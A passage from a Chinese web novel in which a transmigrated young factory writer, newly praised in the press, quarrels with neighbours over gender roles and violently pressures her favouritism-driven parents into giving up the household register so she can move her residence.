宋知南一整天都在收喜讯,何黛一日三呼,哇哇个不停。 “哇,知南,你的文章上厂报了,5篇哎。” “哇,日报日报,上报了。” “啊啊,又上报了,晚报。” 何黛比宋知南本人还激动,一张脸红得像个红苹果似的。 何黛激动,有人比她还激动,那就是上了报纸的那几个人。 上厂报,小激动,毕竟是内部报纸;上日报了,大激动,听说张铁山一上午脸上的笑容就没断过,干活也更卖力了。 王铁梅稍稍矜持些,但嘴角也一直上扬着。到了下午,最激动的是赵大刚,他把报纸翻来覆去地看了好几遍。杨主任毕竟是干部,是经历过大场面的人,也就是笑笑。但她走路脚底生风大家都看到了。毕竟这世上有谁不喜欢表扬和称赞呢。 厂里的其他工人看到后,心情各异。有少数人替上报的人开心高兴;大部分人是酸溜溜的,心里不是滋味,大家都是工人怎么自己没上报,他们就上了呢?他们是不错,可自己也不差呀;还有一部分人,心怀不甘不满不忿,凭什么他们能被采访能上报?他们是不是托关系走后门了?这事得好好查查。 今天的喜讯太多,大家连下班都晚了些,部分路段还造成了临时性拥堵。 拥堵是宋知南造成的,她才来上班没多久,有些人认识她,有些不认识,那些不认识的就想过来看看她,他们一边看还一边指指点点:“那个就是宋知南,瞧着年纪不大呀,表面上看上去挺文静的呀。” “文静个屁,怼死人不偿命。” “听说她还打人,我还以为她长得很凶呢。” “你懂什么,最狠的人都是看上去最文静最斯文的。” “哦哦,有道理。” 也有部分人怀着别的心思:“你们看,那位就是宋同志。你说她要是认识我,会不会也来采访我?” “有可能,我打听过了。张铁山赵大刚王铁梅他们从来没跟宋同志送过礼。” “这是可信的,张铁山家穷人又老实,不可能送礼;王铁梅为人傲气,不屑送礼;刘春荣也没听说送过礼。至于杨主任,谁听说领导给职工送礼的?” 大家的心底也产生了一些野望,万一宋同志下次采访他们呢? 动静闹得这么大,魏芬和李玉华不可能不知道。 魏芬激动得大呼小叫的:“你们快看,咱们的知南又上报纸了。我的天呐,这孩子这么咋厉害呢。” 第44章 李玉华听到消息后, 先是一脸难以置信,她自己生的闺女她还不知道, 宋知南能有那本领?要是说大儿子秋实,她是绝对信的。 到最后,她是不得不信。但她既不激动也没有显得很高兴,要是不清楚内情的还以为宋知南是魏芬的女儿呢。 李玉华此时心情极为复杂:为什么偏偏是女儿有出息?凭什么是宋知南? 大家见李玉华这样都觉得不可思议,要是自家闺女这么出息,她们不得高兴疯了?咋能做出这么一副无动于衷的死人脸呢?就连邻居魏芬和非亲非故的王小雪都高兴得大呼小叫的,就只有她李玉华不但显得无动于衷,还一副忿忿不平的模样,真是奇了怪了。 有人就私下里议论:“你们说,宋知南会不会不是李玉华亲生的?谁家亲妈对待亲生孩子这样?” 有人说:“那也不一定,有些人对亲生的也很苛刻, 虐待孩子的也不都是后爸后妈。” “我还是觉着不对劲, 事出反常必有妖。” “可是当年李玉华怀孕生孩子做不了假呀, 大家都知道啊。” …… 宋知南被人当熊猫围观了好一阵,跟她一起下班的何黛被这阵仗整得不知所措, 走路都不知道该先迈哪只脚。 宋知南镇定自若地一路走过去, 以后被人注目的时候多的是,就当提前演练了。 她这种姿态也让众人更加佩服,这姑娘不管性格怎样,看这心性和胆量就是干大事的料。 宋知南好容易挪到大门口,保卫科的赵大刚眼尖地看到了人群中的宋知南,大声说道:“宋同志,谢谢你, 你的文章写得真好。” 宋知南面带微笑回应:“赵同志,应该是我感谢你们, 是你们让我有了这么好的素材。” 她环视四周,朗声说道:“赵师傅,有些人说我对男同志有偏见,其实不是,我只是对某些同志恨铁不成钢,我太想让他们进步了。我真正佩服的是你和张同志这样的道德标兵,你们是男人中的楷模。” 在场的男同志一起沉默了,有部分人觉得宋知南的话完全没毛病,但有一小撮人,敏感地感觉到哪里不对,但谁也说不出来哪里不对。 在场的女同志偏头看向男同志,“看看人家宋同志这觉悟,再瞧瞧你们,啧啧。” 赵大刚当众被抬到这样的高位,又给整不会了。 他嘿嘿笑道:“宋同志过奖了,我就是一个普通人。” 宋知南从人流中挤了出去,侧着身子往家走去。 赵大刚跟保卫科的同事说道:“这个小宋真是个好同志,人家有原则有觉悟有眼光还特别谦虚,厂里那些小年轻懂个什么?说他们两句就不爱听了,一个大老爷们心眼那么小,说出去也不怕人笑话。” 赵大刚觉得宋知南对他们有偏见,是因为他们自己有问题,要不然,小宋怎么不对他和老张有偏见呢? 想到这里,赵大刚油然而生出一股自豪感,腰板挺得更直了。 他挺胸腆肚站在门口,俯视着这一群一群的工人。 宋知南跟何黛在路口分别,她说道:“小黛,我这周日中午请你下馆子,兑现我的承诺。” 何黛连忙摆手:“哎呀,我只是开玩笑,下馆子太破费了。你平日请我吃的零食够多了。” 宋知南说:“我说请就请,就这么定了。” 宋知南回到家属区,又被热情的邻居们拦住聊了很久。 “小宋,恭喜你啊。你是咱们这一片的骄傲。” “小宋,你的文章我看了,写得真好。” 宋知南面带微笑:“谢谢夸奖,都是领导教得好,被采访的同志配合得好。” 她离开后,大家你看看我看看你。 突然有人拍着大腿说道:“哎哟,这个小宋咋突然变谦虚了?” “是啊是啊,她刚才竟然没怼我,真是奇怪。” 宋知南今天的谦虚和气给了邻居们错觉,觉得天晴了雨停了,他们又行了。 一行人拦着宋知南对她的文章提出“建议”:“宋同志,你别的文章都挺好,就是写张铁山的那篇,我有点意见。” 宋知南看着面前的几个人,有男有女,男的她瞧着面生,女的倒是挺熟,是王婶和一个叫马桂芬的嫂子。 宋知南反问道:“哦,说一说吧,你们都有什么意见?” 王婶做为代表站了出来,拖长声调说:“小宋啊,大伙都说你写张铁山那篇是在提倡男人当上门女婿,我们也去问过张铁山,他也说你说过,什么上门女婿更适合我国国情。我跟你说,你还是太年轻,不知道里面的深浅,那上门女婿哪有好当的?哪个有自尊心的男人愿意到别人屋檐下过日子?你可不能瞎提倡呀。” 宋知南微微一笑,这些人挺敏锐呀,她隐藏的意思都被捕捉到了。 想到这里,她笑着反问:“哦,上门女婿的日子不好过,那上门媳妇的日子就好过?一个身强力壮的男人都害怕岳父岳母家欺负自己,那比他们体弱的女人不更得害怕?怎么你们大家都在提倡甚至强迫女人嫁人当上门媳妇呢?人家但凡晚嫁几年,都要被你们的唾沫星子给淹死。” 王婶急忙反驳道:“女人嫁人那是天经地义,自古从来就是如此。这有啥可说的。” 宋知南:“上门女婿也是自古以来就有的,这又有啥可说的?你们也不说得挺起劲的?我说王婶,桂芬同志,他们男人反对我能理解,毕竟人家为了自己的利益。 你们俩也跟着起哄,我就费解了。女人吃亏你们装聋作哑,心疼男人一个顶俩。你俩可是女人呀,你们的身体和精神要统一,脑袋和屁股不能分离。 这是啥意思呢?就是说,你们是女人的身体,不要有男人的精神;你们的屁股坐在女人这边,脑袋不要转向男人那边。身体和精神分离,会得精神病;屁股和脑袋分离就更可怕了,变成伥鬼了。你俩明白了吗?” 空气突然安静下来。 趁着这一瞬间的安静,宋知南摇头走开:“怪不得我们斗不过人家,瞧瞧人家多团结,再瞧瞧我们,有那么多叛徒。真是前路艰难,任重道远。” 宋知南一离开,这帮人终于反应过来,开始七嘴八舌地议论起来。 “她刚才那句话是啥意思?” “啥意思,骂咱们替男人说话了。” 王婶跳着脚冲着宋知南的背影喊道:“我替男人说话怎么了?人家爷们有爷们的难处。我跟你不一样。” 马桂芬张了张嘴,想说点什么,最后又咽回去了。 宋知南慢慢往家走去,她感觉到了一个身为革命者的孤独。她只是称赞了一下上门女婿,还没有明面上大力提倡呢,瞧瞧这些人的反应。再说了,就算她提倡了,又有几人能听她的?比起全社会默契地“提倡”和强迫女人嫁人,她这点算什么?就这,还有人不允许她发出声音。 宋知南的叛逆劲儿上来了,别人越反对,她越干得起劲儿。 齐天大圣骑御马,我想咋耍就咋耍。 领导批评我都不理,你们又算老几? 她回家再构思几篇类似的,气哭他们。 宋知南一边走一边深沉的思考,在半路上又遇到一个似曾相识的精神大爷。 大爷用炯炯有神的目光盯着宋知南看了一会,突然问道:“小宋,你父母对你是不是不好?” 宋知南:“……”怎么还有人采访她? 精神大爷眨眨眼睛,继续说道:“小宋,咱们以前见过面还聊过天,刘卫国那事还是我告诉你的,你记得不?” 宋知南“哦”了一声,作出一副恍然大悟的模样,就试探道:“大爷,你是有什么新消息告诉我?” 精神大爷先自我介绍:“我姓刘,平常就爱看点断案子的书,不过现在不爱看了,大家有啥不明白的新闻都会请我分析分析。” 宋知南点头,原来是民间福尔摩斯。 福尔摩斯刘压低声音对宋知南说道:“小宋,经过我一下午的分析和推理,我要告诉你一个惊天大发现,你可别吓坏了。” 宋知南一脸震惊。 福尔摩斯刘非常满意,要的就是这种震惊。 他清清嗓子说道:“那什么,我怀疑你被抱错了!” 宋知南十分配合的张大了嘴巴,随即又说:“我不相信,这不可能。”说着作势欲走。 宋知南的表现符合刘大爷的预判,刚刚得知这一消息的人第一反应就是不相信,这很正常。 他拦住宋知南:“小宋,你听我说,你爸你妈的表现压根就不像亲生的爹妈,这世上偏心的爹娘是有,但绝对不是这样的。就算再偏心,儿女取得了成就他们也会骄傲也会开心也会到处跟人炫耀,但你爸妈根本就不是。这不符合常理,不合常理必有妖,但你妈怀孕生孩子又是事实,所以我推测你应该是被抱错了,你放心,我会去调查跟你同一天出生的孩子。” 宋知南神情恍惚:“行,那就麻烦刘大爷了。” 她转头走了。 刘大爷看着宋知南那有点失魂落魄的背影,喃喃自语:“这个可怜的孩子,一定是被我的结论惊住了。” 谁能有他厉害,别人只是在偷偷议论而已,而他已经开始推理论证,并得出了初步结论。公安局没请他进专案组是公安局的损失。 宋知南回到家里,抱着黑米,忍不住笑了起来,这个刘老头还挺有意思。这个年代的精神生活太匮乏了,匮乏得他们只能靠八卦身边人来解闷。 说到李玉华不为自己高兴这事,她也无所谓。不过为了防止对方作妖,她得赶紧把户口迁出来。周日工作人员也可能休息,就明天请假去办,请上午半天假就行。 她有家里的钥匙,直接开门拿户口本去办就行。 第二天上班时,宋知南跟贺胜男请半天假。 她在回家的路上遇到了出来买菜的邻居,大家对她的态度又变了。 就连跟她有矛盾的赵大妈都热情打招呼:“小南你回来了?” 其他人更是热情:“小南,听说你又上报纸了?真厉害。咱们院里算是出名了,我昨天在公厕听到有人在打听你呢。” 宋知南跟众人闲扯几句就继续往回走。 她到自己家门口掏钥匙开门,打不开,家里换锁了。之前,家里十几年不换锁,她一搬出去突然换锁了,除了防她还能防谁? 宋知南在门口的草垫下面和门楣上找钥匙,结果还真找到了。她打开门去宋上进和李玉华的屋里找户口本,找了一圈没找着。她再接着找了一圈还是没找着,奇了怪了。她跑到宋冬宝和自己房里翻找还是没找着。宋家的户口本一向都是放在固定的地方,现在到处找不着,那就是有人故意藏起来了,不用说,肯定是宋上进夫妻俩干的。 宋知南到街道办事处去问户口本丢了怎么办?工作人员告诉她,要补办户口本需要户主先来街道办事处开证明,然后再带着家庭成员去派出所办理,她自己没法办理。 宋知南也不再纠结,打算下班后再回来要户口本。 她又回去上班了。 何黛说:“你不是去办事了吗?这么快就办完了?” 宋知南说:“没办好,下回再说。” 她有预感,今天晚上回家她的杠精值又能增加很多。 宋知南上报纸的事今天还在继续发酵,车间里的女工休息时都在讨论这件事。 李玉华满耳朵都是三女儿的名字,听到最后,她竟然也生出一丝骄傲感。 再加上昨天晚上宋上进跟她说了很多,她的心也有了一丝松动,她想,只要宋知南那个白眼狼对她服软、上交工资,并且想办法把秋实弄回城,她就原谅这个不孝女。 李玉华沉浸在美好的幻想中,直到下班回家。 宋知南回来了,她见到李玉华的第一句话就是:“你把户口本给我,我要用。” 李玉华从幻想中惊醒:“你要户口本干什么?” “工作要用。” “不给。” 她们说着话,宋上进宋冬宝和宋知夏也回来了。 邻居们也陆续回来了,院子里喧闹起来。 大家看到宋知南回来,立即热情地围上来嘘寒问暖。魏芬还邀请她到家里吃饭。 宋上进笑着对魏芬说道:“小南回来了自然得在家里吃饭,就不麻烦你了。” 魏芬笑笑,觉得也是。 宋知南跟大家浅聊了几句,就进了屋。 宋上进知道这个女儿的性格,就怕她哪句话不对突然发疯,一进来就顺手把门关上,省得邻居听见他们说话。 宋知南一进来就对宋上进说:“爸,我工作要用户口本,你给我吧。” 宋上进反问道:“小南,你跟爸说实话,你要户口本是不是要迁户口?” 宋知南也不瞒着,反正也瞒不住,点点头:“是的,刘富贵和刘卫国的户口已经注销了,我得赶紧把户口挂到房子里。” 宋上进目光闪烁,试探道:“你才十五,单独立户不行吧。不如把我的户口迁到那房子里?你的户口还留在家里。” 宋知南抓起一个茶缸就朝宋上进头上砸去,宋上进吓了一跳,赶紧偏头躲开,搪瓷缸子砸在地上发出刺耳的声音。 第45章 宋上进暴怒道:“宋知南, 你干吗呢?我好好跟你说话,你动手砸我干吗?” 宋知南指着他骂道:“你个死不要脸的老东西, 竟然连自己闺女的房子都想占,你做白日梦吧?” 李玉华尖声骂道:“你想迁户口也是白日做梦,除非我跟你爸死了。” “那你们现在就去死吧!” 宋知南突然躁狂起来,抓起屋里的东西就朝宋上进和李玉华身上狂砸一气。 邻居们听到稀里哗啦的砸东西声和吵架声,赶紧围过来,耳朵贴着门听热闹。 宋知南越砸越猛,最后跑屋里找到了两把剪刀往李玉华和宋上进身上扔,两人一边躲一边吓得尖叫连连。 宋冬宝和宋知夏吓得躲在房间里不敢出来。 宋知南逮着什么砸什么,砸得宋上进和李玉华心疼得直抽抽。 宋上进大声制止:“别砸了别砸了,有话好好说不行吗?” 宋知南不说废话:“把户口本给我,我要迁户口, 不同意我就接着砸。每天我都回来砸一回, 你们换锁我就砸门砸窗, 反正我砸自己家,公安来了也不管我。我不但砸东西我还打人, 冬宝呢, 滚出来让我打一顿。” 宋冬宝在里屋吓得瑟瑟发抖,三姐不是跟他和好了吗?怎么还要动手打他?他招谁惹谁了? 宋知南对屋里的人喊话:“冬宝你看吧,同样是儿子,爸妈只心疼宋秋实不疼你,我要是说打宋秋实,你看他俩紧不紧张?现在人家完全没反应。” 宋冬宝实在不知说什么好,他赶紧开动自己的小脑瓜, 不能再这样闹下去了。三姐不是要户口本吗?他去偷来就完事。 宋知夏也是这么想,姐弟俩悄悄对视一眼, 一切尽在不言中。 宋冬宝小声说:“二姐你出去悄悄跟三姐说一声,我会找机会偷户口本给她。你让她别打我。” 宋知夏也害怕宋知南,就说:“你自己出去说。” 宋冬宝不敢出门,好声恳求道:“还是你去吧,三姐没说要打你,她也没打过你。” 最后还是宋知夏出去了,她假装去劝宋知南,把她拉到一边小声说了宋冬宝的打算。 宋知南当然也想过这个办法,她今天就是气不过这对不要脸的夫妻才给他们一个教训。 邻居们在外面隔门听了一会儿,魏芬担心这一家子一齐动手打宋知南,就用力敲门,大声喊道:“小南,你开开门。” 其他邻居也跟上:“是啊,玉华,你开开门嘛,有话好好说,不要冲动。” 宋知南一个箭步过去,打开了门,邻居们蜂拥而入。 魏芬看宋知南仍跟刚才一样,这才放了心。 大家伙看屋里一片狼藉,碗呀盘呀碎了一地,不由得一阵心疼。这都是钱呐。吵架归吵架,哪能这么造?他们生气也就舍得砸枕头。 大家赶紧帮着收拾打扫。 魏芬去劝李玉华:“婶子宋叔,你们一家人有啥话不能好好坐下说?你最近身体不好,可别气坏了自个儿。” 其他人也去劝宋上进。 宋冬宝听到大家都进来了,感觉安全了,就探头探脑地出来了。 至于宋知南,她不用人劝,就主动跟人诉苦:“我爸妈自从我大哥下乡后,人就变得不正常了。好像家里只有大哥一个孩子似的,我们难道就不是人?” “我今天是过来迁户口,刘富贵一家的户口要注销了,房子里不能没有户主,结果我妈不让迁,我爸说要把他的户口迁进去,以后把房子留给我哥。那房子是我争取的,是厂里分给我的,你说他咋开了这个口?” 大家伙劝宋知南:“小南,你爸妈这事是做得不地道,你等着,我们去劝劝他俩。” 宋上进和李玉华被邻居们围着劝。 “上进,小南说的是真的吗?要是真的,你这么做不好吧?房子是厂里分给小南的,你迁进去算怎么回事?再说了,你是国棉厂的也不是纺织厂的工人。” 宋上进目光闪烁,辩解道:“我能不知道这一点吗?我就是想试探一下孩子的孝心,谁知道她发那么大火?” 宋知南冷笑:“哎哟,你拿我的房子试探我的孝心,你咋不拿你的存款来试探你对我的真心?” 宋上进噎了一下,色厉内荏地嚷道:“你上班了不往家交一分钱,反倒惦记着我的存款,哪家的孩子像你这样啊。” 宋知南阴阳怪气地回道:“哟,我这个奴隶丫鬟被赶出府了,你这个奴隶主还想要我的工钱,旧社会的奴隶主地主都干不出这种事吧?你还是人吗?” 宋上进气得心脏病都要犯了。 他颤抖着手指着宋知南说:“你们听听,她骂我不是人。哪家的闺女骂亲爸不是人?” 宋知南针锋相对:“哪家的亲爸像你这样不当人的?你跟我妈一个唱红脸一个唱白脸,想尽办法压榨我们姐妹三个。你疼你大儿子,宠你小儿子,把我们仨当丫鬟使。宋上进,现在是新中国了,不再是旧社会了,剥削阶级已经灭亡了,你还想在家里当剥削阶级。我要与这种人划清界限!” 众人分成两派,一派安抚宋知南:“小南,别生气。” 一派劝宋上进:“上进你也别生气,小南的嘴就这样,你一个大男人大度些,跟自己的孩子计较什么呀。” “对对,她这人就那样,你别跟她一般见识。” 杠完这一波,宋知南听着系统播报,杠精值加25。她非常满意,果然,每次回家都有新的收获。 宋知南继续揭穿宋上进的真面目,其实邻居们也不是傻子,相处这么久,谁是什么人,心里门儿清。但宋知南不给宋上进留一丝能钻的缝隙,全面地、深刻地揭穿他:“大娘大婶大叔们,我今天就要把我家的家丑外扬,反正你们也不是外人。我爸这人你们可能不清楚,他阴险得很,他遇事喜欢躲在背后,撺掇我妈去闹,等闹得不可开交时,他再出来做好人,显得他可大度懂事了。就比如说,之前在院子里盖厨房那事,就是他撺掇我妈闹的。我妈脑子不好使,甘心被他当枪使。” 众人讪讪地答道:“其实我们都知道了。” 宋上进的老脸挂不住了,腾地一下站起来大吼一声:“宋知南,你给我闭嘴。” 宋知南:“不想让我外扬家丑,就把户口本给我。” 宋上进:“户口本在你妈那儿,我管不了。” 宋知南两手一摊,看着邻居们:“你们看,我说得对吧。” 宋上进气得眼前一黑。 另一边,李玉华正拉着魏芬等人诉苦:“小南这孩子你们都知道的,说话特别难听,是个白眼狼,她特别冷血。” 魏芬劝道:“啥冷血不冷血的,厂里人都不夸她热心负责吗?她连我这个邻居都愿意帮又怎么会冷血呢?” 李玉华不满地瞪了魏芬一眼。 李玉华抹着眼泪换了个人诉说:“她说话难听你们又不是不知道,她连你们都骂过。”说着她看向赵大妈和王大爷,希望能找到同盟。 赵大妈讪讪一笑,却说道:“玉华瞧你说的,小南那能叫骂吗?不过是孩子淘气罢了。邻里之间谁还没有个拌嘴的时候,我们不是那种小气的人。” 王大爷附和道:“老赵说得对,我们都大度,谁会跟一个孩子计较。” 李玉华:“……”这帮人是不是有毛病?之前是谁堵着她告状的? 魏芬听着两人的回答,不由得暗笑。 这两人才不是什么大度的人呢。还不是看小南出息了,都想着以后万一用得着她呢。 宋知南自然也听到了三人的对话,她也跟着笑了一下,果然,人都是很贱的。 原主以前总被爸妈说性子不好,不如大姐勤快能干,不如二姐会为人处事。原主为之深深苦恼,还特意研究过怎样为人处世。她不想得罪任何人,生怕父母对自己失望。可是,无论她有多小心谨慎,只要稍微有一点没做到位,大家就开始挑剔她。 现在呢,宋知南从来不考虑这帮人的意见和感受,永远优先考虑自己,想骂就骂,想怼就怼。结果,她骂过的人还反过来替她说话。 她替原主姑娘可惜,不过这也不能怪她,她年纪小,接触的事情又少,她的三观是被这个时代和身边人塑造的。不像她来自后世信息大爆炸时代,有什么不懂的就问网友,网友有好东西是真告诉你。所以她也以灯传灯,薪火相传,有真东西也告诉别人。 邻居们继续劝宋上进和李玉华,让两人干脆同意宋知南迁户口算了。哪有爹妈挡着儿女变好的。 魏芬观察着李玉华的脸色,劝道:“婶子,我劝你赶紧同意这事。我跟你说,现在厂里议论纷纷的,大家都说小南不是你们亲生的,是医院抱错了。” 李玉华倒是第一次听说这个传闻,赶紧急声否认:“不可能,我自己生的孩子我不知道?怎么可能抱错!” 宋上进也赶紧否认:“绝对不可能,大家都是瞎说八道。” 魏芬说:“我也觉得不可能,但架不住大家伙总这么说。大家伙为啥这么说?主要就是觉得你们对小南太不上心。” 魏芬的话说得很委婉了,事实上大家都在议论宋上进两口子偏心偏到咯吱窝了,说李玉华那作派根本不像亲妈,如果是亲妈,那她的心就太狠了。 李玉华百般为自己辩解:“我怎么对她不上心了,我辛辛苦苦把她养大,那时候家里困难,我宁愿自己少吃口也要把吃的留给她……” 魏芬忍了再忍,还是没忍住揭穿道:“大家伙都说你把吃的都留给秋实了,小南小时候瘦得跟个猴似的。倒是知春挺疼她。” 李玉华气呼呼地再瞪了魏芬一眼,这人到底会不会说话? 她不再跟魏芬说话。 赵大妈的眼睛盯着宋知夏和宋冬宝看了一会儿,突然拍着大腿嚷道:“哎哟,我才发现,小南竟然跟知夏冬宝他们一点都不像,跟你们两口子也不像,怪不得大家伙怀疑。” 李玉华气得脸都白了,“老赵,你说啥呢?照你这么说,你儿子也长得跟你不像,那他也是抱错了?” 赵大妈赶紧解释:“我儿子长得像他奶奶。” 宋上进也赶紧说:“小南长得像她姑,侄女随姑不是很正常嘛。” 李玉华说:“对,她长得像她姑和奶奶。” 接下来的场面十分热闹,大家质疑,宋上进和李玉华自证。大家传达别人的议论质疑,两人继续辩解加自证。 大家伙在宋家呆了半个多小时,虽然看戏很过瘾,但他们也要回家做饭吃饭。 宋上进和李玉华齐齐松了一口气,这些邻居都变了,以前他们说老四的不好,除了魏芬外,其他人都帮着一起说。这次可好,大家伙竟然都替老四那个白眼狼说话。这帮人一定是被老四收买了。 众人一走,宋知南冷声说道:“两位,把户口本拿出来吧,不给我就继续砸,屋里砸干净了,我去厨房砸,厨房砸完了,我就掀房子。” 宋上进试图跟宋知南讲道理:“小四,这也是你家,你砸了不心疼?” 宋知南阴阳怪气地说:“这是宋秋实和宋冬宝的家,跟我什么关系?我们将来都是泼出去的水,我现在就把水烧开了,泼回来,烫死你们。” 两人气得胸脯剧烈起伏着,李玉华拿眼看着宋上进,等着他拿主意。宋上进有气无力地说:“把户口本给她吧,别闹了,省得让人看笑话。” 现在,大伙都开始怀疑小四不是他们亲生的了,再这样下去,他们两口子的名声还要不要了? 第46章 宋知南拿着户口本昂首离开。宋冬宝缩着脑袋亦步亦趋地跟在她身后, 等出了院子,他压低声音说:“姐, 我本来打算帮你偷户口本,真的,我想着过两天对妈说学校要用户口本,我拿给你,你偷偷去迁户口就行。” 宋知南一改刚才那副要杀人全家的凶狠模样,笑容和煦地拍拍宋冬宝的肩膀:“好,你长大了,肯替姐姐分忧了。不错不错。” 宋冬宝先是被吓了个机灵,随即赶紧补救似地嘿嘿一笑,接着委屈地说:“可是姐,你刚才还说要揍我, 我没得罪你啊。”他心里是真委屈, 户口本又不是他藏起来的, 为什么挨打的是他? 宋知南耐心解释道:“我说要打你,就是想吓唬一下爸妈, 哪能真舍得揍你。我这人非常讲道理, 我不会无缘无故地打人的。我跟你说,要是宋秋实在家,我都不带废话的,直接拉过他就揍。你跟他不一样。” 宋冬宝这下放心了,他确实跟大哥不一样。 宋知南接着说:“等我迁户口的事办完,我请你吃饭。我一离开,你的伙食肯定又变差了, 你看你都瘦了,我看着都心疼。” 宋冬宝摸摸自己的脸:“可不是嘛, 我真的瘦了。妈老是给大哥寄东西,什么油啊粮票啊都寄,肉就做成咸肉寄给他。家里的伙食越来越差。” 宋知南忿忿不平地说:“就让他们偏心吧,他们寒了儿女的心,咱们以后也寒他们的心。父母不慈,咱们就有资格不孝。以后就让他们找大儿子养老去。” 宋冬宝深以为然,牵扯到自己的利益,他坚决站在姐姐这边。 宋知南回家的路上,还在想未成年到底能不能当户主,她明天得抽时间去问问。 她一到家,隔壁的李群英听到开门声就出来了。 宋知南趁机拿就这个问题问她。 李群英思考一会儿,说:“按常规应该不能。但是,现在是特殊时期也不一定。比如说,咱们这一块儿就有父母双双被下放,户口也随之迁走的,家里只剩下几个未成年孩子的,那未成年的不也成了户主?再说了,你虽然年纪不大,但你是正式参加工作的,这一点也是可以放宽的。不过你最好托托关系。” 宋知南想了一圈自己的人脉,她好像没有这方面的关系。 李群英接着给她出主意:“你不是采访过保卫科的老赵吗?他这两天见人就夸你,要不你问问他?他的人脉挺广的。” 宋知南一想有门,笑着说:“群英,你真是我的好姐妹,总是帮我解决大难题。” 李群英笑笑:“我也就是比你年龄大,经过的事多些。” “对了,你今天找我有事?” 李群英说:“我想请你吃个饭,你看啥时候有空。” “咱们之间不用这么客气。” 李群英坚决要请,“我到你家吃饭都不客气,你也不要跟我客气。我爸妈也让我请你,你挑个时间吧。” 宋知南想了想,说道:“后天晚上吧。” “行,一言为定。” 李群英见宋知南回来得晚,想着她还没吃晚饭,也就不打扰她了。 宋知南今天挺累,就简单地煮了碗面条当晚饭。她把明天要用的东西备好,放进书包,倒头就睡。 第二天,趁着中午午休,宋知南背着书包去了保卫科。 刚好其他人都去吃饭了,只有赵大刚在值班室。 宋知南趁着这会儿没人,赶紧把书包里的烟和酒淘出来放在桌上。 赵大刚诧异道:“你这是干啥?不是该我给你送礼吗?” 宋知南说:“赵同志,你赶紧把东西收起来,一会儿别人看见了不好,我有事请你帮忙。” 赵大刚赶紧问:“你说吧,啥事啊,我能帮的一定会帮。” 宋知南说了迁户口的事。 赵大刚挠了下头,考虑了一会儿,说:“这事应该可以办,正好,我表弟的同学是管户籍的,回头我帮你问问。” 宋知南大喜:“那太好了,果然我没找错人。” 赵大刚把东西还给宋知南:“这点小忙,就是顺手的事,你把东西拿回去。” 宋知南态度很坚决:“你也是求人办事,总不能空手上门吧。你别推来让去的,让人看见不好,赶紧收起来。” 两人客气推让了一番,赵大刚终于收下东西。 宋知南又说:“赵同志,你先去帮我问问,如果事情能办,我还得另外感谢你和你表弟同学。” 赵大刚热情地说:“你放心,我今天下班就去问问,你等我消息。” 宋知南回到办公室,正好何黛打饭回来了,两人一起坐下来吃饭。 下午,何黛值班,宋知南继续写稿看材料。 期间来了一个六十多岁、长着三角眼薄嘴唇的大娘来告她儿媳妇的状,人家一进来就点名不要宋知南接待。 何黛歉意地看了宋知南一眼,宋知南冲她一笑,一脸地无所谓,就算她是人民币还有人喜欢美金呢,怎么可能人人都喜欢她? 何黛负责接待老大娘。宋知南在旁边一边看材料一边听老太太念经。 “我那个儿媳妇王翠花真是不懂事不孝顺,不知道自己几斤几两,我们家是什么条件?她娘家是什么条件?我儿子可是响当当的国家工人,铁饭碗,一个月挣好几十。她王翠花就是个乡下来的柴火妞,长得不好看,性子不好,字都不识几个,我儿子娶了她,是他们老王家烧高香了,就这,她还不知足……” 何黛劝道:“大娘,咱们工人农民一家亲,你可不能看不起农民呀。” 三角眼大娘斜睨着何黛:“小同志,你别光听那些口号,实际上是啥情况,大家心里都清楚。要是工人农民都一样,为啥还有那么多人削尖了脑袋进城当工人?” 何黛说:“实际情况是一回事,但我们就是不能歧视农民。” 大娘不耐烦地说:“我不整那些虚头巴脑的,瞧不起乡下人的又不止我一个。” 大娘强势地把话题拉回来,继续控诉儿媳妇:“我听那个王翠花跟人嘀咕,说要来妇联告状,瞧把她能的,你们可别听她胡咧咧。她这个人又懒又馋又不讲卫生还没素质,她来了,你们就好好跟她讲讲道理。别想着那些有的没的,好好地伺候一家老小才是正经。这些媳妇们跟我们比可差远了,真是一代不如一代。” 说到这里,大娘斜眼看着何黛:“何同志,我只准你接触我儿媳妇,别人可不行。” 何黛无奈地说:“这可不一定,我们都是轮流值班的。再说了,要论资历和能力,我是我们办公室里最不行的。” 大娘态度坚决:“不行,我只信得过你。”老太太没什么文化,但在看人这块有一套,她跟何黛随便聊上几句,就察觉这小姑娘性格很软,很好拿捏,不是那种怼天怼地的刺儿头。 说着,大娘还瞥了一眼正专心看材料的宋知南,含义不言自明。 宋知南都不带拿正眼看她的,对她熟视无睹。 大娘又觉得有点不平,这姑娘是眼神不好吗?没看见她?她听人说宋知南怼人厉害,心里头有一种跃跃欲试的兴奋感,想试试又不太敢试。 她正犹豫要不要挑衅几句,就见宋知南腾地一下站起来了,对何黛说道:“阿黛,我出去采访了。反正办公室里也没人来,你一个人值班吧。” 三角眼大娘突然不满地问她:“啥叫没人?难道我不是人?” 宋知南仿佛才看见她似的,惊讶道:“哦,我工作得太专心了,才看见你。大娘,你好端端地咋突然问我这个问题?难道你对自己是不是人产生过疑问?” 宋知南说完,飘然离去。系统播报,杠精值加5。 三角眼大娘在她身后,跺着脚大声问:“啥?你几个意思呀?你别走啊。” 宋知南理都不带理的,她有预感,这个大娘肯定还会来的,她儿媳妇也会来,而且一定会找自己。 下一个目标采访谁呢?宋知南开始思考起这个大题。 宋知南逛了一圈,也没想到好点子。灵感嘛,并不是每天都有的,她想得很开。 次日中午,刚到下班时间,宋冬宝就兴冲冲地跑过来问:“姐,你户口办好没有?” 宋知南说:“快了。” 宋冬宝笑嘻嘻地说:“那太好了。我听爸妈在家里说你肯定办不了,我还担心呢。” 宋冬宝接着又说:“姐,我再告诉你一个消息,大哥写信回来说他准备在乡下找对象。” 宋知南一点也不惊讶,她反问道:“他是不是不想干活,所以打算在乡下当上门女婿?” 宋冬宝面带惊讶:“姐,你真是神了。你咋什么都知道?” 宋冬宝像竹筒倒豆子一样把事情都倒出来:“大哥在信里说,他们村里有个姑娘看上他了,那姑娘家里有五个哥哥,她是家里最小的。对了,她爸还是大队长。大哥说他要是能当上大队长的女婿,上工时就能分到轻省的活儿,以后有招工上大学的名额也会优先给他。 还有就是那个姑娘家里有五个哥哥,她家劳动力多,他也可以不用怎么干活。爸妈有点心动,可又觉得乡下姑娘配不上大哥。最后爸决定让大哥先跟那姑娘好着,只办酒席,不领结婚证,等将来大哥回城时就把她甩了。” 宋知南对于宋家父子的操作一点也不意外,毕竟是男人嘛,人家一向就是这么现实利已。 宋知南想了想,说道:“冬宝,我交给你一个任务,你回去以后把大哥插队的地址给我拿来,我要给他写信。” 